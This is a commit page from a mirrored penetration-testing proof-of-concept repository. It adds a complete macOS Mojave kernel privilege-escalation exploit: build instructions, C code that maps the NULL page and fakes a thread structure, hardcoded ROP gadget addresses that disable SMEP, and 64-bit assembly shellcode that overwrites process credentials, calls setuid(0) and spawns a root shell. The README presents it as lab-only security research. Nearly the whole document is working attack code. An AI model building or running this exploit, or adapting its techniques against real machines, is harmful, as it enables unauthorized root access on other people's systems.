mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
add macOS-Kernel-Exploit
This commit is contained in:
parent
f06d4f760e
commit
95792c39fd
13
macOS-Kernel-Exploit/Makefile
Normal file
13
macOS-Kernel-Exploit/Makefile
Normal file
@ -0,0 +1,13 @@
|
||||
#
|
||||
# Makefile
|
||||
#
|
||||
# Created by Ilias Morad.
|
||||
# Copyright © 2019 Ilias Morad. All rights reserved.
|
||||
#
|
||||
|
||||
main: exploit.c gadgets.c kernel.s
|
||||
nasm -f macho32 -o kernel.o kernel.s
|
||||
gcc -o exploit -m32 -Wl,-pagezero_size,0 -masm=intel exploit.c gadgets.c kernel.o
|
||||
|
||||
clean:
|
||||
rm exploit *.o
|
49
macOS-Kernel-Exploit/README.md
Normal file
49
macOS-Kernel-Exploit/README.md
Normal file
@ -0,0 +1,49 @@
|
||||
# macOS-Kernel-Exploit
|
||||
|
||||
## DISCLAIMER
|
||||
You need to know the KASLR slide to use the exploit. Also SMAP needs to be disabled which means that it's not exploitable on Macs after 2015. These limitations make the exploit pretty much unusable for in-the-wild exploitation but still helpful for
|
||||
security researchers in a controlled lab environment.
|
||||
|
||||
This exploit is intended for security research purposes only.
|
||||
|
||||
## General
|
||||
macOS Kernel Exploit for CVE-????-???? (currently a 0day.
|
||||
I'll add the CVE# once it is published ;) ).
|
||||
|
||||
Thanks to @LinusHenze for this cool bug and his support ;P.
|
||||
|
||||
## Writeup
|
||||
|
||||
Probably coming soon.
|
||||
If you want to try and exploit it yourself, here are a few things to get you started:
|
||||
|
||||
- VM: Download the macOS installer from the appstore and drag the `.app` file into VMWare's `NEW VM` window
|
||||
- Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb
|
||||
- Have a look at the _kernel_trap function
|
||||
|
||||
|
||||
## Build
|
||||
|
||||
I recommend setting the bootargs to: `debug=0x44 kcsuffix=development -v `
|
||||
|
||||
:warning: **Note**: SMAP needs to be disabled on macs after 2015 (`-pmap_smap_disable`)
|
||||
|
||||
You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit)
|
||||
Downloading Xcode 9.4.1 Commandline Tools should be enough ;)
|
||||
Download: https://developer.apple.com/download/more/
|
||||
|
||||
```
|
||||
make
|
||||
```
|
||||
|
||||
## Execution
|
||||
|
||||
```
|
||||
./exploit <KASLR slide>
|
||||
```
|
||||
|
||||
Tested on macOS Mojave: `Darwin Kernel-Mac.local 18.7.0 Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/DEVELOPMENT_X86_64 x86_64`
|
||||
|
||||
**Demo**:
|
||||
|
||||
[](https://asciinema.org/a/UBmByRiRR0y5USBwuHKC5X7GU)
|
41
macOS-Kernel-Exploit/definitions.h
Normal file
41
macOS-Kernel-Exploit/definitions.h
Normal file
@ -0,0 +1,41 @@
|
||||
#ifndef definitions_h
|
||||
#define definitions_h
|
||||
|
||||
#include <string.h> // memset
|
||||
#include <mach/mach.h> // thread_set_state
|
||||
|
||||
#pragma pack(4)
|
||||
|
||||
#define x86_SAVED_STATE32 THREAD_STATE_NONE + 1
|
||||
#define x86_SAVED_STATE64 THREAD_STATE_NONE + 2
|
||||
|
||||
struct x86_saved_state32 {
|
||||
uint32_t gs; // 0x00
|
||||
uint32_t fs;
|
||||
uint32_t es; // 0x08
|
||||
uint32_t ds;
|
||||
uint32_t edi; // 0x10
|
||||
uint32_t esi;
|
||||
uint32_t ebp; // 0x18
|
||||
uint32_t cr2;
|
||||
uint32_t ebx; // 0x20
|
||||
uint32_t edx;
|
||||
uint32_t ecx; // 0x28
|
||||
uint32_t eax;
|
||||
uint16_t trapno; // 0x30
|
||||
uint16_t cpu; // 0x32
|
||||
uint32_t err; // 0x34
|
||||
uint32_t eip;
|
||||
uint32_t cs; // 0x3c
|
||||
uint32_t efl;
|
||||
uint32_t uesp; // 0x44
|
||||
uint32_t ss;
|
||||
};
|
||||
typedef struct x86_saved_state32 x86_saved_state32_t;
|
||||
|
||||
#define x86_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \
|
||||
(sizeof (x86_saved_state32_t)/sizeof(unsigned int)))
|
||||
|
||||
#pragma pack(0)
|
||||
|
||||
#endif /* definitions_h */
|
152
macOS-Kernel-Exploit/exploit.c
Normal file
152
macOS-Kernel-Exploit/exploit.c
Normal file
@ -0,0 +1,152 @@
|
||||
//
|
||||
// exploit.c
|
||||
//
|
||||
// Created by Ilias Morad.
|
||||
// Copyright © 2019 Ilias Morad. All rights reserved.
|
||||
//
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "definitions.h"
|
||||
#include "gadgets.h"
|
||||
|
||||
|
||||
#define DEBUG 1
|
||||
|
||||
|
||||
// Used in kernel.s
|
||||
extern uint64_t current_proc;
|
||||
extern uint64_t proc_ucred;
|
||||
extern uint64_t posix_cred_get;
|
||||
extern uint64_t return_to_user;
|
||||
|
||||
extern void escalatePrivs(void);
|
||||
|
||||
|
||||
// For debugging
|
||||
void hexdump(const void* data, size_t size) {
|
||||
char ascii[17];
|
||||
size_t i, j;
|
||||
ascii[16] = '\0';
|
||||
for (i = 0; i < size; ++i) {
|
||||
printf("%02X ", ((unsigned char*)data)[i]);
|
||||
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
|
||||
ascii[i % 16] = ((unsigned char*)data)[i];
|
||||
} else {
|
||||
ascii[i % 16] = '.';
|
||||
}
|
||||
if ((i+1) % 8 == 0 || i+1 == size) {
|
||||
printf(" ");
|
||||
if ((i+1) % 16 == 0) {
|
||||
printf("| %s \n", ascii);
|
||||
} else if (i+1 == size) {
|
||||
ascii[(i+1) % 16] = '\0';
|
||||
if ((i+1) % 16 <= 8) {
|
||||
printf(" ");
|
||||
}
|
||||
for (j = (i+1) % 16; j < 16; ++j) {
|
||||
printf(" ");
|
||||
}
|
||||
printf("| %s \n", ascii);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void fail() {
|
||||
puts("[-] Stopping exploit");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
kern_return_t err = -1;
|
||||
uint64_t kSlide = -1;
|
||||
|
||||
// after we return to userland our process state is super messed up
|
||||
// in order to be able to get a "stable" environment
|
||||
// our userland shellcode will just exec() itself again as root
|
||||
if(getuid() == 0) {
|
||||
puts("[+] Userland shellcode says hi!");
|
||||
printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
|
||||
system("/bin/bash");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if(argc < 2) {
|
||||
puts("[-] You need to provide the kernel slide.");
|
||||
fail();
|
||||
} else {
|
||||
kSlide = strtol(argv[1], NULL, 0x10);
|
||||
printf("[*] Kernel slide: 0x%llx\n", kSlide);
|
||||
}
|
||||
|
||||
current_proc = 0xffffff8000968360 + kSlide;
|
||||
proc_ucred = 0xffffff8000820d30 + kSlide;
|
||||
posix_cred_get = 0xffffff80007ddbe0 + kSlide;
|
||||
return_to_user = 0xffffff8000229680 + kSlide;
|
||||
|
||||
printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
|
||||
|
||||
vm_address_t pageZero = 0x00;
|
||||
err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0);
|
||||
if(err != 0) {
|
||||
printf("[-] vm_allocate(pageZero) returned %d\n", err);
|
||||
fail();
|
||||
}
|
||||
memset(0,0,0x1000);
|
||||
puts("[*] Mapped NULL Page to catch GS accesses");
|
||||
|
||||
vm_address_t fakeThread = 0;
|
||||
err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE);
|
||||
if(err != 0) {
|
||||
printf("[-] vm_allocate(fakeThread) returned %d\n", err);
|
||||
fail();
|
||||
}
|
||||
printf("[*] Fake Thread is at: 0x%x\n", fakeThread);
|
||||
|
||||
uint64_t *fakeStack = (uint64_t *)0x5d000000;
|
||||
vm_address_t fakeStackk = 0x5d000000;
|
||||
err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0);
|
||||
if(err != 0) {
|
||||
printf("[-] vm_allocate(fakeStack) returned %d\n", err);
|
||||
fail();
|
||||
}
|
||||
printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack);
|
||||
|
||||
x86_saved_state32_t state;
|
||||
memset(&state, 0xFF, sizeof(x86_saved_state32_t));
|
||||
state.gs = 0x23;
|
||||
|
||||
*(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure
|
||||
*(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the
|
||||
// kernel executes iretq
|
||||
*(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used)
|
||||
*(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used)
|
||||
|
||||
puts("[+] SAVED_STATE32 setup done!");
|
||||
|
||||
|
||||
// Disable SMEP
|
||||
int sp = 0;
|
||||
fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp;
|
||||
fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp;
|
||||
fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp;
|
||||
// SMEP is disabled and we can jump to our userland code part
|
||||
fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp;
|
||||
|
||||
|
||||
if(DEBUG) {
|
||||
char c;
|
||||
printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs);
|
||||
hexdump((const void *)fakeStackk, 0x20);
|
||||
puts("[DEBUG] Waiting...");
|
||||
// scanf(" %c", &c);
|
||||
}
|
||||
|
||||
puts("[+] Here we go...");
|
||||
thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT);
|
||||
while(1) {}
|
||||
return 0;
|
||||
}
|
BIN
macOS-Kernel-Exploit/exploit.png
Normal file
BIN
macOS-Kernel-Exploit/exploit.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 72 KiB |
5
macOS-Kernel-Exploit/gadgets.c
Normal file
5
macOS-Kernel-Exploit/gadgets.c
Normal file
@ -0,0 +1,5 @@
|
||||
// ROP Helpers
|
||||
|
||||
void __attribute__((naked)) swapgs() {
|
||||
__asm__ __volatile__("swapgs; ret ");
|
||||
}
|
34
macOS-Kernel-Exploit/gadgets.h
Normal file
34
macOS-Kernel-Exploit/gadgets.h
Normal file
@ -0,0 +1,34 @@
|
||||
//
|
||||
// gadgets.h
|
||||
//
|
||||
// Created by Ilias Morad.
|
||||
// Copyright © 2019 Ilias Morad. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef gadgets_h
|
||||
#define gadgets_h
|
||||
|
||||
/* Backup stack pivots */
|
||||
// 0xffffff80005ea56b: mov esp, 0x5d000000; ret;
|
||||
// 0xffffff80008e1834: mov esp, 0x10024; add cl, ch; ret;
|
||||
// 0xffffff800060ef11: mov esp, 0xff000000; ret;
|
||||
// 0xffffff8000a241ee: xchg esp, esi; dec dword ptr [rax - 0x77]; ret;
|
||||
|
||||
#define ROP_PIVOT_STACK 0xffffff80005ea56b // mov esp, 0x5d000000; ret;
|
||||
#define ROP_MOV_CR4_RAX 0xffffff800040b613 // mov cr4, rax; ret;
|
||||
#define ROP_POP_RAX 0xffffff8000229270 // pop rax; ret;
|
||||
#define ROP_POP_RDI 0xffffff8000228e74 // pop rdi; ret;
|
||||
#define ROP_POP_RSI 0xffffff800047c02e // pop rsi; ret;
|
||||
#define ROP_POP_RDX 0xffffff8000273d6f // pop rdx; ret;
|
||||
#define ROP_POP_RCX 0xffffff80007ce67a // pop rcx; ret;
|
||||
#define ROP_MOV_RAX_RCX 0xffffff80002e736e // mov rax, rcx; ret;
|
||||
|
||||
#define ROP_RET32_IRET 0xffffff80002298bc // iretq
|
||||
|
||||
#define CPU_ENABLE_SMEP 0x00000000001606e0
|
||||
#define CPU_DISABLE_SMEP 0x00000000000606e0
|
||||
|
||||
|
||||
void __attribute__((naked)) swapgs();
|
||||
|
||||
#endif
|
149
macOS-Kernel-Exploit/kernel.s
Normal file
149
macOS-Kernel-Exploit/kernel.s
Normal file
@ -0,0 +1,149 @@
|
||||
; This is the privilege escalation code and it will be run
|
||||
; after we've disabled SMEP. I'm doing this in assembly because
|
||||
; the kernel is going to execute this code as 64bit so the privilege
|
||||
; escalation part has to be 64bit. However our exploit program is 32bit
|
||||
; and the simplest way to have 64 and 32 bit code in one binary is probably
|
||||
; writing the 64bit part in assembly and linking it to the 32 bit code.
|
||||
bits 64
|
||||
section __TEXT,__text
|
||||
|
||||
; Helper to fix relative accesses bc of PIE
|
||||
getRIP:
|
||||
mov rax, [rsp]
|
||||
ret
|
||||
|
||||
; This is the function we're trying to implement
|
||||
; void escalatePrivs() {
|
||||
; uint32_t *posix_cred = posix_cred_get(proc_ucred(current_proc()));
|
||||
; posix_cred[2] = 0x00; // uid_t cr_svuid; /* saved user id */
|
||||
; return;
|
||||
; }
|
||||
global _escalatePrivs
|
||||
_escalatePrivs:
|
||||
swapgs
|
||||
|
||||
call getRIP
|
||||
add rax, _current_proc - $
|
||||
mov rax, [rax]
|
||||
|
||||
call rax; current_proc()
|
||||
|
||||
mov rdi, rax
|
||||
|
||||
call getRIP
|
||||
add rax, _proc_ucred - $
|
||||
mov rax, [rax]
|
||||
|
||||
call rax; proc_ucred(current_proc())
|
||||
|
||||
mov rdi, rax
|
||||
|
||||
call getRIP
|
||||
add rax, _posix_cred_get - $
|
||||
mov rax, [rax]
|
||||
|
||||
call rax; posix_cred_get(proc_ucred(current_proc())) \o/
|
||||
|
||||
; rax contains a pointer to our posix cred stucture at this point
|
||||
;
|
||||
; struct posix_cred {
|
||||
; /*
|
||||
; * The credential hash depends on everything from this point on
|
||||
; * (see kauth_cred_get_hashkey)
|
||||
; */
|
||||
; uid_t cr_uid; /* effective user id */
|
||||
; uid_t cr_ruid; /* real user id */
|
||||
; uid_t cr_svuid; /* saved user id */
|
||||
; short cr_ngroups; /* number of groups in advisory list */
|
||||
; gid_t cr_groups[NGROUPS]; /* advisory group list */
|
||||
; gid_t cr_rgid; /* real group id */
|
||||
; gid_t cr_svgid; /* saved group id */
|
||||
; uid_t cr_gmuid; /* UID for group membership purposes */
|
||||
; int cr_flags; /* flags on credential */
|
||||
; }
|
||||
;
|
||||
; we want to overwrite the cr_svuid field insead of cr_uid and cr_ruid
|
||||
; to prevent crashing later on. Overwriting the cr_svuid will enable us
|
||||
; to call seteuid(0)&setuid(0) in order for us to get root
|
||||
|
||||
mov dword [rax+0x4+0x4], 0x00; cr_svuid = 0x00;
|
||||
; we're root !!! But we still need to return back to userland
|
||||
; to be able to make use of our new privileges
|
||||
|
||||
|
||||
; The easiest way to return back to userland is probably
|
||||
; just calling _return_to_user, but since we have a
|
||||
; kind of fucked up thread structure, we'll need to fix that first.
|
||||
|
||||
|
||||
mov r15, qword [gs:0x08]; Get Thread structure
|
||||
mov r15, qword [r15+0x428]; thread saved_state
|
||||
|
||||
; Calculate address of resume_task
|
||||
call getRIP
|
||||
add rax, resume_task - $
|
||||
|
||||
; populate our saved_state with sane values
|
||||
mov dword [r15+0x48], eax ; New eip
|
||||
mov dword [r15+0x50], 0x00200282 ; New eflags
|
||||
mov dword [r15+0x4c], 0x1b ; New cs
|
||||
mov dword [r15+0x54], 0x500 ; New esp
|
||||
mov dword [r15+0x58], 0x23 ; New ss
|
||||
|
||||
mov dword [r15+0x1c], 0x23 ; New ds
|
||||
mov dword [r15+0x18], 0x23 ; New es
|
||||
mov dword [r15+0x14], 0x00 ; New fs
|
||||
mov dword [r15+0x10], 0x00 ; New gs
|
||||
|
||||
call getRIP
|
||||
add rax, _return_to_user - $
|
||||
mov rax, [rax]
|
||||
|
||||
jmp rax
|
||||
|
||||
hlt
|
||||
|
||||
|
||||
bits 32
|
||||
|
||||
resume_task:
|
||||
; seteuid(0) + setuid(0)
|
||||
mov eax, 183
|
||||
xor ebx, ebx
|
||||
int 0x80
|
||||
mov eax, 23
|
||||
xor ebx, ebx
|
||||
int 0x80
|
||||
|
||||
; Exec our own process again, but this time as root ;)
|
||||
xor eax, eax
|
||||
push eax
|
||||
push 0x00000074
|
||||
push 0x696f6c70
|
||||
push 0x78652f2e
|
||||
mov ebx, esp
|
||||
push eax
|
||||
push eax
|
||||
push ebx
|
||||
mov al, 0x3b
|
||||
push byte 0x2a
|
||||
int 0x80
|
||||
|
||||
|
||||
section __DATA,__data
|
||||
|
||||
global _current_proc
|
||||
_current_proc:
|
||||
dq 0xfeedface; placeholder
|
||||
|
||||
global _posix_cred_get
|
||||
_posix_cred_get:
|
||||
dq 0xfeedface; placeholder
|
||||
|
||||
global _proc_ucred
|
||||
_proc_ucred:
|
||||
dq 0xfeedface; placeholder
|
||||
|
||||
global _return_to_user
|
||||
_return_to_user:
|
||||
dq 0xfeedface; placeholder
|
Loading…
x
Reference in New Issue
Block a user